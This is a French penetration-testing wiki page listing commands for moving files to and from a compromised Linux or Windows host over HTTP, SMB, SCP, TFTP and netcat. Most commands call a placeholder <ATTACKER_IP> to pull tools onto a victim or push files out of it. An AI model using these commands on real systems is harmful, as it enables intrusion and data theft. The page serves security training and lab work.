[Exploitation/Réseau] Transfert de fichiers

Introduction

Cette documentation présente plusieurs solution pour envoyer des fichiers sur un serveur compromis que ce soit Linux ou Windows via différents protocoles comme HTTP, SSH, FTP et SMB.

Techniques

updog / SimpleHTTPServer

- L'outil **updog** a remplacé le module python **SimpleHTTPServer** qui permet de créer rapidement un serveur web HTTP sur lequel héberger des fichiers :

```
python3 -m updog -p 80
```

- Et à l'ancienne avec **SimpleHTTPServer** :

```
python3 -m http.server 80
```

- Pour récupérer le fichier avec **wget** en Powershell :

```
powershell wget http://<ATTACKER_IP>/<FILE> -o <OUTPUT_FILE>
```

> Sous Linux vous pouvez utiliser la même commande sans powershell si le paquet wget est installé.

- On peut aussi faire avec **curl** :

```
curl http://<ATTACKER_IP>/<FILE> -o <OUTPUT_FILE>
```

> Fonctionne aussi bien sur Windows que sur Linux !

Impacket SMB Server

- On peut monter un serveur SMB rapidement avec la **suite Impacket** :

```
impacket-smbserver share $(pwd) -smb2support
```

- Puis sur la machine victime Windows on peut copier le fichier :

```
copy \\<ATTACKER_IP>\share\<FILE>
```

- Et pour Linux :

```
smbclient -L <ATTACKER_IP>
smbclient "\\\\<ATTACKER_IP>\share"
ls
get <FILE>
put <SOME_FILE>
```

SCP

- Utilise le protocole **SSH** pour envoyer un fichier :

```
scp <FILE> <user>@<IP>:/tmp
```

- Ou en récupérer :

```
scp <user>@<IP>:/<PATH>/<TO>/<FILE> <FILE>
```

TFTP

- Sur la machine de l'attaquant lancez **Metasploit** puis :

```
use auxiliary/server/tftp
set srvhost <ATTACKER_IP>
set tftproot <PATH>
run
```

- Depuis une machine Windows récupérer des fichiers :

```
tftp -i <ATTACKER_IP> GET <FILE>
```

Netcat

Depuis la machine qui doit recevoir le fichier :

```
nc -lvp <PORT> > <FILE>
```

Depuis la machine qui doit envoyerle fichier :

```
nc <ATTACKER_IP> <PORT> < <FILE>
```

Revision #1
Created 2024-08-13 15:16:08 UTC by Elieroc
Updated 2024-08-13 15:40:56 UTC by Elieroc